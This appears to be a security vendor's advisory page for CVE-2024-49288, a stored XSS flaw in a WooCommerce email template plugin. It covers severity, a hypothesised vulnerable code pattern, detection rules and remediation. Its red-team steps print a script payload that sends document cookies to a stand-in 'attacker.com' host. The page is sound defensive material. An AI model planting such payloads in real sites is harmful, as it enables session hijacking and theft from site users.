CVE-2024-49288
Executive Summary
CVE-2024-49288 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Email Template Customizer for WooCommerce by VillaTheme, affecting versions up to and including 1.2.9.1. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with high privileges (e.g., administrator) to inject malicious scripts that are stored and executed in the context of other users' browsers. This can lead to session hijacking, data theft, or defacement. The CVSS score is 5.9 (Medium), and no public exploit or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin's update channel for a patched version. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): High (H) – The attacker must have administrative access to the WordPress site.
- User Interaction (UI): Required (R) – The victim must visit a page containing the malicious payload.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. Exploitation requires high privileges, but the stored XSS can affect all users, including administrators, leading to account takeover.
Deep Dive & Mechanics
The vulnerability exists in the email-template-customizer-for-woo plugin, which allows administrators to customize WooCommerce email templates. The plugin fails to properly sanitize or escape user-supplied input when saving email template content (e.g., HTML, CSS, or JavaScript). When an administrator saves a malicious payload (e.g., <script>alert('XSS')</script>) into a template field, it is stored in the WordPress database. Subsequently, when any user (including other administrators) views or triggers the email template (e.g., via preview or actual email rendering), the payload executes in their browser.
The root cause is the lack of output encoding or input validation in the template rendering functions. The plugin likely uses echo or print without esc_html() or wp_kses() filtering.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is hypothesized:
Vulnerable Code (PHP):
function render_template($template_content) {
echo $template_content; // No sanitization
}
Patched Code (Hypothetical):
function render_template($template_content) {
echo wp_kses_post($template_content); // Sanitize with allowed HTML
}
The patched version would use WordPress's wp_kses_post() to strip dangerous tags and attributes, or esc_html() to escape output.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress site with vulnerable plugin (<=1.2.9.1)
- Administrative credentials
Steps:
- Log in as an administrator.
- Navigate to WooCommerce > Email Customizer.
- Edit any email template (e.g., New Order).
- Inject a malicious payload into a text field, such as:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the template.
- Trigger the email (e.g., place a test order) or preview it. The payload executes in the browser of any user viewing the email.
Proof-of-Concept (PoC) Payload:
<img src=x onerror="alert('XSS')">
Blue Team
Detection:
- Monitor for unusual changes to email templates in the WordPress admin.
- Look for suspicious JavaScript in template content fields.
- Use Web Application Firewall (WAF) rules to block common XSS patterns.
Mitigation:
- Disable the plugin until a patch is released.
- Restrict administrative access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/email-template-customizer-for-woo/(presence of vulnerable version) - Database: Suspicious entries in
wp_optionsor custom post meta containing<script>tags. - Network: Outbound requests to attacker-controlled domains from the WordPress admin.
- Logs: Unusual admin actions (e.g., template edits) from unexpected IPs.
Detection Engineering
YARA Rule
rule CVE_2024_49288_Stored_XSS {
meta:
description = "Detects malicious JavaScript in Email Template Customizer for WooCommerce plugin files"
author = "Valters IT"
date = "2024-10-01"
reference = "CVE-2024-49288"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
$xss3 = /onload\s*=\s*["']?[^"']*["']?/is
condition:
any of them
}
Sigma Rule
title: Suspicious Email Template Modification
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects modification of WooCommerce email templates with potential XSS payloads
logsource:
product: wordpress
service: audit
detection:
selection:
EventID: 1000 # Custom event for template save
ObjectName: 'email-template-customizer-for-woo'
Details|contains:
- '<script'
- 'onerror'
- 'onload'
condition: selection
falsepositives:
- Legitimate use of JavaScript in templates (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-49288 Stored XSS in WooCommerce Email Template"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=save_template"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the plugin if not essential. Restrict admin access to trusted users.
- Short-term: Monitor the plugin's official page for a security update. Apply input validation and output encoding manually if possible.
- Long-term: Implement a Web Application Firewall (WAF) with XSS rules. Regularly audit plugins for vulnerabilities.
- Workaround: Use WordPress's built-in
wp_kses_post()function to sanitize template content via a custom plugin or code snippet.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.